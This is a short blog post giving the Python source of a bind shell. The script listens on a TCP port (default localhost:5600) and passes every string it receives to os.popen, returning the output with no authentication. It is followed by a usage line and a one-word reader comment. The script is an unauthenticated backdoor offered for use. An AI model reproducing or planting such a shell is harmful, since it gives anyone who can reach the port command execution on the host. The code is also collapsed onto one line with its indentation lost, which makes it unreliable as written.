Source Code
""" http://www.terminalcoders.blogspot.com *** Ajith Kp *** *** ajithkp560 *** """ import socket, os, sys try: try: port = int(sys.argv[2]) except: port = 5600 try: ip = sys.argv[1] except: ip = "127.0.0.1" host = (ip, port) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(host) sock.listen(1) while True: client, addr = sock.accept() client.send(os.getcwd()+"> ") while True: cmd = client.recv(1024) ter = os.popen(cmd) res = "" for line in ter: res+=line client.send(res+os.getcwd()+"> ") except KeyboardInterrupt: try: client.send("\n\nConnection closed... Goodbye...\n") except: pass sock.close() except socket.error: client.close()
The first argument of this script is host and second argument is port to bind. Default host is `localhost` and port is `5600`.
1 comments :
Write commentslol =)) =))
Reply